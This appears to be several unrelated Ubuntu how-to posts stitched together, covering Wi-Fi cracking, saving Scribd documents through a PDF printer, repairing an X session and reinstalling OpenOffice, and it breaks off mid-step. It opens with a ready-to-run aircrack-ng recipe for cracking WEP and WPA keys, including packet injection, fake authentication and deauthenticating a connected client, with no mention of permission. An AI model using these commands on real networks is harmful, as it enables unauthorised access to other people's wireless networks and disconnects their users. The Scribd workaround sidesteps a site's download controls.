Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

In Ubuntu, we need to install cups-pdf to create a postscript printer. Check my previous post here for a tutorial.

After installing the PDF printer, go to the document you want to save on scribd.  Select more -> Print

Select the PDF printer and hit print.  and wait…...………. this can take upto 10-15 minutes depending on how big the file is.

Check the print status. 6 minutes and still printing……

When done, the file will be saved in the PDF folder we created and will be called _stdin_.pdf

If you are upgrading, first check for an update under help in the browser or you can directly go to the website and download the latest version.

save the file to the desktop and close the browser.

double click the .deb file and click install package even if you are upgrading.

close the installation process and restart your browser

*IMPORTANT*- before doing any troubleshooting with X, I recommend backing up the xorg configuration file.
sudo cp /etc/X11/xorg.conf /home/user/Desktop/xorg.conf.old

I tried clearing out the /proc/mtrr and rewriting it by using the following commands:

echo "disable=0" >| /proc/mtrr
echo "disable=1" >| /proc/mtrr
echo "disable=0" >| /proc/mtrr

and inserting

echo "base=0x00000000 size= type=write-back" >| /proc/mtrr

check here for more help.

Still no luck.

Tired and frustrated, I decided to reinstall

sudo apt-get install --reinstall gdm, nautlius, ubuntu-desktop, x-gnome-session, xserver-xorg

I finally did:
sudo update-alternatives --configure x-session-manager
More on update-alternatives here.

Searching on the web, I found this on bugs.launchpad.net

I had this problem exactly as described in the original report, after an upgrade from 8.04 to 8.10.

I eventually tracked it down to a dangling link from /etc/alternatives/x-session-manager. It was pointing to a nonexistent KDE4 startkde script, which presumably used to exist in 8.04. I had never actually used KDE4 seriously, but I must have installed it at some point in the old system and run it before reverting to gnome. I guess that means the old KDE4 start script was equally capable of restoring a gnome session, or something.

Anyway, “sudo update-alternatives –auto x-session-manager” seems to fix it.

(The workaround described in an earlier comment, of explicitly running the GNOME session type, also worked. But I wanted to find a fix that would work for the X client script option as well, because I was also trying to investigate the session script to work out why my session was not being restored properly. Unfortunately, then I ran into bug 249373, “gnome session does not restore the previous session” — which answers that one. I would never have upgraded to 8.10 if I had known about that absolutely amazing regression. But that’s another matter.)

After all that, I replaced my backup xorg.conf file
sudo cp /home/user/Desktop/xorg.conf.old /etc/X11/xorg.conf

Restarted the system, and now its working fine!

Yesterday I noticed that the menu on my OpenOffice had some weird characters. I finally figured out that some of the system fonts in Ubuntu are not compatible with OO. I managed to change the fonts back by going to System -> Preferences -> Appearance -> Fonts. But it was too late. During the process I upgraded, uninstalled the whole program and reinstalled it back again. For this process, I used synaptic package manager to find everything that said openoffice and marked it for complete removal.

I could have also opened up terminal and typed:
sudo apt-get remove openoffice*.*

Then, I went to openoffice.org and downloaded the .deb file for 3.0.1 (OOo_3.0.1_LinuxIntel_install_en-US_deb.tar.gz) and extracted it to the desktop. Then I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/*.deb

dpkg is a tool to install, build, remove and manage Debian GNU/Linux packages. The -i option is used to install a file or in this case, several files. We selected *.deb which means select all the files with a .deb extension and install them. We could have alternatively double clicked each .deb package and installed it separately, but the command line is a much more powerful option.

Next, to install the last package stored in a different folder, I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/desktop-integration/openoffice.org3.0-debian-menus_3.0-9376_all.deb

I believe I could have used the –recursive or -R option and specified the directory, which would have installed all the packages in the folder including all the sub-folders.

That’s all it took.

Instructions for Fedora and openSuse:

Goto openoffice.org and Download the rpm in tar.gz format onto the Desktop

open up terminal, become root and untar the file:
su
(enter password)
tar -xvf /home/black/Desktop/OOo_3.0.1_LinuxIntel_install_wJRE_en-US.tar.gz

cd into the directory:
cd OOO300_m15_native_packed-1_en-US.9379/

setup:
./setup

follow install directions:
